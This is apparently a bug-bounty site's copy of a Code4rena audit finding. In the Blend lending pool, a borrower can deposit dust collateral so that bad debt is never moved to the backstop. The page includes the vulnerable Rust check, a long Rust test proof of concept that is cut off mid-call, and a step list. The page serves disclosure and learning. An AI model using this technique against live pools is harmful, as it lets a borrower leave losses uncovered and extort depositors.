Skip to content
Business logic Audit finding Intermediate

Bad debt can be permanently blocked from being moved to backstop

The bad-debt transfer function refuses to move a position's debt to the backstop whenever the position still holds any collateral, and there is no minimum collateral size. The position owner can therefore deposit a dust amount of collateral to permanently block the bad debt from being auctioned, and the dust cannot be liquidated either.

monrel Follow

Originally disclosed on Code4rena

Submitted by monrel

When a position has accumulated bad debt it is supposed to be moved to the backstop and then auctioned with a bad debt auction such that the backstop covers the debt.

This can be blocked by the owner off the position by depositing a dust amount of tokens as collateral.

A call to pool::bad_debt() should move the debt to the backstop but the following condition is checked.

bad_debt.rs#L26-L28

    if !user_state.positions.collateral.is_empty() || user_state.positions.liabilities.is_empty() {
        panic_with_error!(e, PoolError::BadRequest);
    }

There is no minimum collateral deposit so the owner of the position can add dust amount as collateral.

Not only does this block bad debt from being moved, it will also block liquidation of the dust amount since the creation of liquidation auctions with pool:new_auction() is not possible on dust amounts.

The owner can “release” the bad debt by depositing more collateral such that it can be liquidated again but no other actor can since deposits can only be done with the permission off the owner of each positions.

contract.rs#L427-L441

fn submit(
        ....
        spender.require_auth();
        if from != spender {
            from.require_auth();
        }
		....
    }

The pool owner can use this position to blackmail others in the pool if the debt is substantial or to take payments from large backstop depositors to allow them to exit before the debt is transferred.

Proof of Concept

Here is a POC showing that a user with bad debt can permanently block it from being moved to the backstop.

#![cfg(test)]
use cast::i128;
use pool::{AuctionData, PoolDataKey, Positions, Request, RequestType, ReserveConfig, ReserveData};
use soroban_fixed_point_math::FixedPoint;
use soroban_sdk::{
    testutils::{Address as AddressTestTrait, Events},
    vec,log, Address, Env, Error, FromVal, IntoVal, Symbol, TryFromVal, Val, Vec,
};
use test_suites::{
    assertions::assert_approx_eq_abs,
    create_fixture_with_data,
    test_fixture::{TokenIndex, SCALAR_7},
};

fn assert_fill_auction_event_no_data(
    env: &Env,
    event: (Address, Vec<Val>, Val),
    pool_address: &Address,
    auction_user: &Address,
    auction_type: u32,
    filler: &Address,
    fill_pct: i128,
) {
    let (event_pool_address, topics, data) = event;
    assert_eq!(event_pool_address, pool_address.clone());

    assert_eq!(topics.len(), 3);
    assert_eq!(
        Symbol::from_val(env, &topics.get_unchecked(0)),
        Symbol::new(env, "fill_auction")
    );
    assert_eq!(u32::from_val(env, &topics.get_unchecked(1)), auction_type);
    assert_eq!(
        Address::from_val(env, &topics.get_unchecked(2)),
        auction_user.clone()
    );

    let event_data = Vec::<Val>::from_val(env, &data);
    assert_eq!(event_data.len(), 3);
    assert_eq!(
        Address::from_val(env, &event_data.get_unchecked(0)),
        filler.clone()
    );
    assert_eq!(i128::from_val(env, &event_data.get_unchecked(1)), fill_pct);
    assert!(AuctionData::try_from_val(env, &event_data.get_unchecked(2)).is_ok());
}

#[test]
fn test_liquidations() {
    let fixture = create_fixture_with_data(true);
    let frodo = fixture.users.get(0).unwrap();
    let pool_fixture = &fixture.pools[0];

    // accrue interest
    let requests: Vec<Request> = vec![
        &fixture.env,
        Request {
            request_type: RequestType::Borrow as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: 10,
        },
        Request {
            request_type: RequestType::Repay as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: 10,
        },
        Request {
            request_type: RequestType::Borrow as u32,
            address: fixture.tokens[TokenIndex::XLM].address.clone(),
            amount: 10,
        },
        Request {
            request_type: RequestType::Repay as u32,
            address: fixture.tokens[TokenIndex::XLM].address.clone(),
            amount: 10,
        },
        Request {
            request_type: RequestType::Borrow as u32,
            address: fixture.tokens[TokenIndex::WETH].address.clone(),
            amount: 10,
        },
        Request {
            request_type: RequestType::Repay as u32,
            address: fixture.tokens[TokenIndex::WETH].address.clone(),
            amount: 10,
        },
    ];
    pool_fixture.pool.submit(&frodo, &frodo, &frodo, &requests);

    // Disable rate modifiers
    let mut usdc_config: ReserveConfig = fixture.read_reserve_config(0, TokenIndex::STABLE);
    usdc_config.reactivity = 0;

    let mut xlm_config: ReserveConfig = fixture.read_reserve_config(0, TokenIndex::XLM);
    xlm_config.reactivity = 0;
    let mut weth_config: ReserveConfig = fixture.read_reserve_config(0, TokenIndex::WETH);
    weth_config.reactivity = 0;

    fixture.env.as_contract(&fixture.pools[0].pool.address, || {
        let key = PoolDataKey::ResConfig(fixture.tokens[TokenIndex::STABLE].address.clone());
        fixture
            .env
            .storage()
            .persistent()
            .set::<PoolDataKey, ReserveConfig>(&key, &usdc_config);
        let key = PoolDataKey::ResConfig(fixture.tokens[TokenIndex::XLM].address.clone());
        fixture
            .env
            .storage()
            .persistent()
            .set::<PoolDataKey, ReserveConfig>(&key, &xlm_config);
        let key = PoolDataKey::ResConfig(fixture.tokens[TokenIndex::WETH].address.clone());
        fixture
            .env
            .storage()
            .persistent()
            .set::<PoolDataKey, ReserveConfig>(&key, &weth_config);
    });

    // Create a user
    let samwise = Address::generate(&fixture.env); //sam will be supplying XLM and borrowing STABLE

    // Mint users tokens
    fixture.tokens[TokenIndex::XLM].mint(&samwise, &(500_000 * SCALAR_7));
    fixture.tokens[TokenIndex::WETH].mint(&samwise, &(50 * 10i128.pow(9)));
    fixture.tokens[TokenIndex::USDC].mint(&frodo, &(100_000 * SCALAR_7));

    let frodo_requests: Vec<Request> = vec![
        &fixture.env,
        Request {
            request_type: RequestType::SupplyCollateral as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: 30_000 * 10i128.pow(6),
        },
    ];
    // Supply frodo tokens
    pool_fixture
        .pool
        .submit(&frodo, &frodo, &frodo, &frodo_requests);
    // Supply and borrow sam tokens
    let sam_requests: Vec<Request> = vec![
        &fixture.env,
        Request {
            request_type: RequestType::SupplyCollateral as u32,
            address: fixture.tokens[TokenIndex::XLM].address.clone(),
            amount: 160_000 * SCALAR_7,
        },
        Request {
            request_type: RequestType::SupplyCollateral as u32,
            address: fixture.tokens[TokenIndex::WETH].address.clone(),
            amount: 17 * 10i128.pow(9),
        },
        // Sam's max borrow is 39_200 STABLE
        Request {
            request_type: RequestType::Borrow as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: 28_000 * 10i128.pow(6),
        }, // reduces Sam's max borrow to 14_526.31579 STABLE
        Request {
            request_type: RequestType::Borrow as u32,
            address: fixture.tokens[TokenIndex::XLM].address.clone(),
            amount: 65_000 * SCALAR_7,
        },
    ];
    let sam_positions = pool_fixture
        .pool
        .submit(&samwise, &samwise, &samwise, &sam_requests);
    //Utilization is now:
    // * 36_000 / 40_000 = .9 for STABLE
    // * 130_000 / 260_000 = .5 for XLM
    // This equates to the following rough annual interest rates
    //  * 31% for STABLE borrowing
    //  * 25.11% for STABLE lending
    //  * rate will be dragged up to rate modifier
    //  * 6% for XLM borrowing
    //  * 2.7% for XLM lending

    // Let three months go by and call update every week
    for _ in 0..12 {
        // Let one week pass
        fixture.jump(60 * 60 * 24 * 7);
        // Update emissions
        fixture.emitter.distribute();
        fixture.backstop.distribute();
        pool_fixture.pool.gulp_emissions();
    }
    // Start an interest auction
    // type 2 is an interest auction
    let auction_data = pool_fixture.pool.new_auction(
        &2u32,
        &fixture.backstop.address,
        &vec![&fixture.env, fixture.lp.address.clone()],
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::STABLE].address.clone(),
            fixture.tokens[TokenIndex::WETH].address.clone(),
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &100u32,
    );

    let stable_interest_lot_amount = auction_data
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::STABLE].address.clone());
    assert_approx_eq_abs(stable_interest_lot_amount, 256_746831, 5000000);
    let xlm_interest_lot_amount = auction_data
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone());
    assert_approx_eq_abs(xlm_interest_lot_amount, 179_5067018, 5000000);
    let weth_interest_lot_amount = auction_data
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::WETH].address.clone());
    assert_approx_eq_abs(weth_interest_lot_amount, 0_002671545, 5000);
    let lp_donate_bid_amount = auction_data.bid.get_unchecked(fixture.lp.address.clone());
    //NOTE: bid STABLE amount is seven decimals whereas reserve(and lot) STABLE has 6 decomals
    assert_approx_eq_abs(lp_donate_bid_amount, 268_9213686, SCALAR_7);
    assert_eq!(auction_data.block, 151);
    let liq_pct = 30;
    let events = fixture.env.events().all();
    let event = vec![&fixture.env, events.get_unchecked(events.len() - 1)];
    assert_eq!(
        event,
        vec![
            &fixture.env,
            (
                pool_fixture.pool.address.clone(),
                (
                    Symbol::new(&fixture.env, "new_auction"),
                    2u32,
                    fixture.backstop.address.clone(),
                )
                    .into_val(&fixture.env),
                (100u32, auction_data.clone()).into_val(&fixture.env) // event_data.into_val(&fixture.env)
            )
        ]
    );
    // Start a liquidation auction
    let auction_data = pool_fixture.pool.new_auction(
        &0,
        &samwise,
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::STABLE].address.clone(),
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::WETH].address.clone(),
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &liq_pct,
    );
    let usdc_bid_amount = auction_data
        .bid
        .get_unchecked(fixture.tokens[TokenIndex::STABLE].address.clone());
    assert_approx_eq_abs(
        usdc_bid_amount,
        sam_positions
            .liabilities
            .get(0)
            .unwrap()
            .fixed_mul_ceil(i128(liq_pct * 100000), SCALAR_7)
            .unwrap(),
        SCALAR_7,
    );
    let xlm_bid_amount = auction_data
        .bid
        .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone());
    assert_approx_eq_abs(
        xlm_bid_amount,
        sam_positions
            .liabilities
            .get(1)
            .unwrap()
            .fixed_mul_ceil(i128(liq_pct * 100000), SCALAR_7)
            .unwrap(),
        SCALAR_7,
    );
    let xlm_lot_amount = auction_data
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone());
    assert_approx_eq_abs(xlm_lot_amount, 40100_6654560, SCALAR_7);
    let weth_lot_amount = auction_data
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::WETH].address.clone());
    assert_approx_eq_abs(weth_lot_amount, 4_260750195, 1000);
    let events = fixture.env.events().all();
    let event = vec![&fixture.env, events.get_unchecked(events.len() - 1)];
    assert_eq!(
        event,
        vec![
            &fixture.env,
            (
                pool_fixture.pool.address.clone(),
                (
                    Symbol::new(&fixture.env, "new_auction"),
                    0 as u32,
                    samwise.clone(),
                )
                    .into_val(&fixture.env),
                (liq_pct, auction_data.clone()).into_val(&fixture.env)
            )
        ]
    );

    //let 100 blocks pass to scale up the modifier
    fixture.jump_with_sequence(101 * 5);
    //fill user and interest liquidation
    let auct_type_1: u32 = 0;
    let auct_type_2: u32 = 2;
    let fill_requests = vec![
        &fixture.env,
        Request {
            request_type: RequestType::FillUserLiquidationAuction as u32,
            address: samwise.clone(),
            amount: 25,
        },
        Request {
            request_type: RequestType::FillUserLiquidationAuction as u32,
            address: samwise.clone(),
            amount: 100,
        },
        Request {
            request_type: RequestType::FillInterestAuction as u32,
            address: fixture.backstop.address.clone(), //address shouldn't matter
            amount: 99,
        },
        Request {
            request_type: RequestType::FillInterestAuction as u32,
            address: fixture.backstop.address.clone(), //address shouldn't matter
            amount: 100,
        },
        Request {
            request_type: RequestType::Repay as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: usdc_bid_amount,
        },
    ];
    let frodo_stable_balance = fixture.tokens[TokenIndex::STABLE].balance(&frodo);
    let frodo_xlm_balance = fixture.tokens[TokenIndex::XLM].balance(&frodo);
    let frodo_weth_balance = fixture.tokens[TokenIndex::WETH].balance(&frodo);
    fixture.lp.approve(
        &frodo,
        &fixture.backstop.address,
        &lp_donate_bid_amount,
        &fixture.env.ledger().sequence(),
    );
    let frodo_positions_post_fill =
        pool_fixture
            .pool
            .submit(&frodo, &frodo, &frodo, &fill_requests);
    assert_approx_eq_abs(
        frodo_positions_post_fill.collateral.get_unchecked(2),
        weth_lot_amount
            .fixed_div_floor(2_0000000, SCALAR_7)
            .unwrap()
            + 10 * 10i128.pow(9),
        1000,
    );
    assert_approx_eq_abs(
        frodo_positions_post_fill.collateral.get_unchecked(1),
        xlm_lot_amount.fixed_div_floor(2_0000000, SCALAR_7).unwrap() + 100_000 * SCALAR_7,
        1000,
    );
    assert_approx_eq_abs(
        frodo_positions_post_fill.liabilities.get_unchecked(1),
        xlm_bid_amount + 65_000 * SCALAR_7,
        1000,
    );
    assert_approx_eq_abs(
        frodo_positions_post_fill.liabilities.get_unchecked(0),
        8_000 * 10i128.pow(6) + 559_285757,
        100000,
    );
    let events = fixture.env.events().all();
    assert_fill_auction_event_no_data(
        &fixture.env,
        events.get_unchecked(events.len() - 16),
        &pool_fixture.pool.address,
        &samwise,
        auct_type_1,
        &frodo,
        25,
    );
    assert_fill_auction_event_no_data(
        &fixture.env,
        events.get_unchecked(events.len() - 15),
        &pool_fixture.pool.address,
        &samwise,
        auct_type_1,
        &frodo,
        100,
    );
    assert_fill_auction_event_no_data(
        &fixture.env,
        events.get_unchecked(events.len() - 9),
        &pool_fixture.pool.address,
        &fixture.backstop.address,
        auct_type_2,
        &frodo,
        99,
    );
    assert_fill_auction_event_no_data(
        &fixture.env,
        events.get_unchecked(events.len() - 3),
        &pool_fixture.pool.address,
        &fixture.backstop.address,
        auct_type_2,
        &frodo,
        100,
    );
    assert_approx_eq_abs(
        fixture.tokens[TokenIndex::STABLE].balance(&frodo),
        frodo_stable_balance - usdc_bid_amount
            + stable_interest_lot_amount
                .fixed_div_floor(2 * 10i128.pow(6), 10i128.pow(6))
                .unwrap(),
        10i128.pow(6),
    );
    assert_approx_eq_abs(
        fixture.tokens[TokenIndex::XLM].balance(&frodo),
        frodo_xlm_balance
            + xlm_interest_lot_amount
                .fixed_div_floor(2 * SCALAR_7, SCALAR_7)
                .unwrap(),
        SCALAR_7,
    );
    assert_approx_eq_abs(
        fixture.tokens[TokenIndex::WETH].balance(&frodo),
        frodo_weth_balance
            + weth_interest_lot_amount
                .fixed_div_floor(2 * 10i128.pow(9), 10i128.pow(9))
                .unwrap(),
        10i128.pow(9),
    );

    //tank eth price
    fixture.oracle.set_price_stable(&vec![
        &fixture.env,
        500_0000000, // eth
        1_0000000,   // usdc
        0_1000000,   // xlm
        1_0000000,   // stable
    ]);

    //fully liquidate user
    let blank_requests: Vec<Request> = vec![&fixture.env];
    pool_fixture
        .pool
        .submit(&samwise, &samwise, &samwise, &blank_requests);
    let liq_pct = 100;
    let auction_data_2 = pool_fixture.pool.new_auction(
        &0,
        &samwise,
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::STABLE].address.clone(),
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::WETH].address.clone(),
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &liq_pct,
    );

    let usdc_bid_amount = auction_data_2
        .bid
        .get_unchecked(fixture.tokens[TokenIndex::STABLE].address.clone());
    assert_approx_eq_abs(usdc_bid_amount, 19599_872330, 100000);
    let xlm_bid_amount = auction_data_2
        .bid
        .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone());
    assert_approx_eq_abs(xlm_bid_amount, 45498_8226700, SCALAR_7);
    let xlm_lot_amount = auction_data_2
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone());
    assert_approx_eq_abs(xlm_lot_amount, 139947_2453890, SCALAR_7);
    let weth_lot_amount = auction_data_2
        .lot
        .get_unchecked(fixture.tokens[TokenIndex::WETH].address.clone());
    assert_approx_eq_abs(weth_lot_amount, 14_869584990, 100000000);

    //allow 250 blocks to pass
    fixture.jump_with_sequence(251 * 5);
    //fill user liquidation
    let frodo_stable_balance = fixture.tokens[TokenIndex::STABLE].balance(&frodo);
    let frodo_xlm_balance = fixture.tokens[TokenIndex::XLM].balance(&frodo);
    let fill_requests = vec![
        &fixture.env,
        Request {
            request_type: RequestType::FillUserLiquidationAuction as u32,
            address: samwise.clone(),
            amount: 100,
        },
        Request {
            request_type: RequestType::Repay as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: usdc_bid_amount
                .fixed_div_floor(2_0000000, SCALAR_7)
                .unwrap(),
        },
        Request {
            request_type: RequestType::Repay as u32,
            address: fixture.tokens[TokenIndex::XLM].address.clone(),
            amount: xlm_bid_amount.fixed_div_floor(2_0000000, SCALAR_7).unwrap(),
        },
    ];
    let usdc_filled = usdc_bid_amount
        .fixed_mul_floor(3_0000000, SCALAR_7)
        .unwrap()
        .fixed_div_floor(4_0000000, SCALAR_7)
        .unwrap();
    let xlm_filled = xlm_bid_amount
        .fixed_mul_floor(3_0000000, SCALAR_7)
        .unwrap()
        .fixed_div_floor(4_0000000, SCALAR_7)
        .unwrap();
    let new_frodo_positions = pool_fixture
        .pool
        .submit(&frodo, &frodo, &frodo, &fill_requests);
    assert_approx_eq_abs(
        frodo_positions_post_fill.collateral.get(1).unwrap() + xlm_lot_amount,
        new_frodo_positions.collateral.get(1).unwrap(),
        SCALAR_7,
    );
    assert_approx_eq_abs(
        frodo_positions_post_fill.collateral.get(2).unwrap() + weth_lot_amount,
        new_frodo_positions.collateral.get(2).unwrap(),
        SCALAR_7,
    );
    assert_approx_eq_abs(
        frodo_positions_post_fill.liabilities.get(0).unwrap() + usdc_filled - 9147_499950,
        new_frodo_positions.liabilities.get(0).unwrap(),
        10i128.pow(6),
    );
    assert_approx_eq_abs(
        frodo_positions_post_fill.liabilities.get(1).unwrap() + xlm_filled - 22438_6298700,
        new_frodo_positions.liabilities.get(1).unwrap(),
        SCALAR_7,
    );
    assert_approx_eq_abs(
        frodo_stable_balance - 9799_936164,
        fixture.tokens[TokenIndex::STABLE].balance(&frodo),
        10i128.pow(6),
    );
    assert_approx_eq_abs(
        frodo_xlm_balance - 22749_4113400,
        fixture.tokens[TokenIndex::XLM].balance(&frodo),
        SCALAR_7,
    );

    //transfer bad debt to the backstop
    let blank_request: Vec<Request> = vec![&fixture.env];
    let samwise_positions_pre_bd =
        pool_fixture
            .pool
            .submit(&samwise, &samwise, &samwise, &blank_request);
    pool_fixture.pool.bad_debt(&samwise);
    let backstop_positions = pool_fixture.pool.submit(
        &fixture.backstop.address,
        &fixture.backstop.address,
        &fixture.backstop.address,
        &blank_request,
    );
    assert_eq!(
        samwise_positions_pre_bd.liabilities.get(0).unwrap(),
        backstop_positions.liabilities.get(0).unwrap()
    );
    assert_eq!(
        samwise_positions_pre_bd.liabilities.get(1).unwrap(),
        backstop_positions.liabilities.get(1).unwrap()
    );

    // create a bad debt auction
    let auction_type: u32 = 1;
    let bad_debt_auction_data = pool_fixture.pool.new_auction(
        &1u32,
        &fixture.backstop.address,
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::STABLE].address.clone(),
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &vec![&fixture.env, fixture.lp.address.clone()],
        &100u32,
    );

    assert_eq!(bad_debt_auction_data.bid.len(), 2);
    assert_eq!(bad_debt_auction_data.lot.len(), 1);

    assert_eq!(
        bad_debt_auction_data
            .bid
            .get_unchecked(fixture.tokens[TokenIndex::STABLE].address.clone()),
        samwise_positions_pre_bd.liabilities.get(0).unwrap() //d rate 1.071330239
    );
    assert_eq!(
        bad_debt_auction_data
            .bid
            .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone()),
        samwise_positions_pre_bd.liabilities.get(1).unwrap() //d rate 1.013853805
    );
    assert_approx_eq_abs(
        bad_debt_auction_data
            .lot
            .get_unchecked(fixture.lp.address.clone()),
        6146_6087407, // lp_token value is $1.25 each
        SCALAR_7,
    );
    let events = fixture.env.events().all();
    let event = vec![&fixture.env, events.get_unchecked(events.len() - 1)];
    assert_eq!(
        event,
        vec![
            &fixture.env,
            (
                pool_fixture.pool.address.clone(),
                (
                    Symbol::new(&fixture.env, "new_auction"),
                    auction_type,
                    fixture.backstop.address.clone(),
                )
                    .into_val(&fixture.env),
                (100u32, bad_debt_auction_data.clone()).into_val(&fixture.env)
            )
        ]
    );

    // allow 100 blocks to pass
    fixture.jump_with_sequence(101 * 5);
    // fill bad debt auction
    let frodo_bstop_pre_fill = fixture.lp.balance(&frodo);
    let backstop_bstop_pre_fill = fixture.lp.balance(&fixture.backstop.address);
    let auction_type: u32 = 1;
    let bad_debt_fill_request = vec![
        &fixture.env,
        Request {
            request_type: RequestType::FillBadDebtAuction as u32,
            address: fixture.backstop.address.clone(),
            amount: 20,
        },
    ];
    let post_bd_fill_frodo_positions =
        pool_fixture
            .pool
            .submit(&frodo, &frodo, &frodo, &bad_debt_fill_request);

    assert_eq!(
        post_bd_fill_frodo_positions.liabilities.get(0).unwrap(),
        new_frodo_positions.liabilities.get(0).unwrap()
            + samwise_positions_pre_bd
                .liabilities
                .get(0)
                .unwrap()
                .fixed_mul_ceil(20, 100)
                .unwrap(),
    );
    assert_eq!(
        post_bd_fill_frodo_positions.liabilities.get(1).unwrap(),
        new_frodo_positions.liabilities.get(1).unwrap()
            + samwise_positions_pre_bd
                .liabilities
                .get(1)
                .unwrap()
                .fixed_mul_ceil(20, 100)
                .unwrap(),
    );
    let events = fixture.env.events().all();
    assert_fill_auction_event_no_data(
        &fixture.env,
        events.get_unchecked(events.len() - 1),
        &pool_fixture.pool.address,
        &fixture.backstop.address,
        auction_type,
        &frodo,
        20,
    );
    assert_approx_eq_abs(
        fixture.lp.balance(&frodo),
        frodo_bstop_pre_fill + 614_6608740,
        SCALAR_7,
    );
    assert_approx_eq_abs(
        fixture.lp.balance(&fixture.backstop.address),
        backstop_bstop_pre_fill - 614_6608740,
        SCALAR_7,
    );
    let new_auction = pool_fixture
        .pool
        .get_auction(&(1 as u32), &fixture.backstop.address);
    assert_eq!(new_auction.bid.len(), 2);
    assert_eq!(new_auction.lot.len(), 1);
    assert_eq!(
        new_auction
            .bid
            .get_unchecked(fixture.tokens[TokenIndex::STABLE].address.clone()),
        samwise_positions_pre_bd
            .liabilities
            .get(0)
            .unwrap()
            .fixed_mul_floor(80, 100)
            .unwrap()
    );
    assert_eq!(
        new_auction
            .bid
            .get_unchecked(fixture.tokens[TokenIndex::XLM].address.clone()),
        samwise_positions_pre_bd
            .liabilities
            .get(1)
            .unwrap()
            .fixed_mul_floor(80, 100)
            .unwrap()
    );
    assert_approx_eq_abs(
        new_auction.lot.get_unchecked(fixture.lp.address.clone()),
        bad_debt_auction_data
            .lot
            .get_unchecked(fixture.lp.address.clone())
            - 1229_3217480,
        SCALAR_7,
    );
    assert_eq!(new_auction.block, bad_debt_auction_data.block);

    // allow another 50 blocks to pass (150 total)
    fixture.jump_with_sequence(50 * 5);
    // fill bad debt auction
    let frodo_bstop_pre_fill = fixture.lp.balance(&frodo);
    let backstop_bstop_pre_fill = fixture.lp.balance(&fixture.backstop.address);
    let auction_type: u32 = 1;
    let bad_debt_fill_request = vec![
        &fixture.env,
        Request {
            request_type: RequestType::FillBadDebtAuction as u32,
            address: fixture.backstop.address.clone(),
            amount: 100,
        },
    ];
    let post_bd_fill_frodo_positions =
        pool_fixture
            .pool
            .submit(&frodo, &frodo, &frodo, &bad_debt_fill_request);
    assert_eq!(
        post_bd_fill_frodo_positions.liabilities.get(0).unwrap(),
        new_frodo_positions.liabilities.get(0).unwrap()
            + samwise_positions_pre_bd.liabilities.get(0).unwrap(),
    );
    assert_eq!(
        post_bd_fill_frodo_positions.liabilities.get(1).unwrap(),
        new_frodo_positions.liabilities.get(1).unwrap()
            + samwise_positions_pre_bd.liabilities.get(1).unwrap(),
    );
    let events = fixture.env.events().all();
    assert_fill_auction_event_no_data(
        &fixture.env,
        events.get_unchecked(events.len() - 1),
        &pool_fixture.pool.address,
        &fixture.backstop.address,
        auction_type,
        &frodo,
        100,
    );
    assert_approx_eq_abs(
        fixture.lp.balance(&frodo),
        frodo_bstop_pre_fill + 3687_9652440,
        SCALAR_7,
    );
    assert_approx_eq_abs(
        fixture.lp.balance(&fixture.backstop.address),
        backstop_bstop_pre_fill - 3687_9652440,
        SCALAR_7,
    );

    //check that frodo was correctly slashed
    let original_deposit = 50_000 * SCALAR_7;
    let pre_withdraw_frodo_bstp = fixture.lp.balance(&frodo);
    fixture
        .backstop
        .queue_withdrawal(&frodo, &pool_fixture.pool.address, &(original_deposit));
    //jump a month
    fixture.jump(45 * 24 * 60 * 60);
    fixture
        .backstop
        .withdraw(&frodo, &pool_fixture.pool.address, &original_deposit);
    assert_approx_eq_abs(
        fixture.lp.balance(&frodo) - pre_withdraw_frodo_bstp,
        original_deposit - 614_6608740 - 3687_9652440 + 268_9213686,
        SCALAR_7,
    );
    fixture
        .backstop
        .deposit(&frodo, &pool_fixture.pool.address, &10_0000000);

    // Test bad debt was burned correctly
    // Sam re-borrows
    let sam_requests: Vec<Request> = vec![
        &fixture.env,
        Request {
            request_type: RequestType::SupplyCollateral as u32,
            address: fixture.tokens[TokenIndex::WETH].address.clone(),
            amount: 1 * 10i128.pow(9),
        },
        // Sam's max borrow is 39_200 STABLE
        Request {
            request_type: RequestType::Borrow as u32,
            address: fixture.tokens[TokenIndex::STABLE].address.clone(),
            amount: 100 * 10i128.pow(6),
        }, // reduces Sam's max borrow to 14_526.31579 STABLE
    ];
    let sam_positions = pool_fixture
        .pool
        .submit(&samwise, &samwise

The original report as published on Code4rena, by monrel. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The bad-debt check requires the collateral position to be completely empty, but no minimum collateral amount is enforced, so a dust deposit satisfies the check and blocks the transfer.

Impact

The bad debt may never reach the backstop, so the safety fund does not cover it, and the position owner could use this to pressure other pool participants or extract payments from large backstop depositors.

What the attacker needed

A position with bad debt; owner deposits dust collateral; deposits require the owner's authorisation

How it was found

  1. Accumulate bad debt on a position in the pool.
  2. Deposit a dust amount of tokens as collateral on that same position.
  3. Call the bad-debt function, which panics because the collateral position is not empty.
  4. Observe that a liquidation auction cannot be created for the dust amount either.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this lending pool, when a borrower's debt is worth more than their collateral, the leftover 'bad debt' is meant to be handed to a safety fund (the backstop) and sold at auction. The code only allows that handover if the borrower has no collateral left at all. Because even a tiny amount of collateral counts, the borrower can add a negligible deposit and the handover is refused forever.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by monrel

View all

10 more disclosed reports, best first.

More from Blend V2 Audit + Certora Formal Verification

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.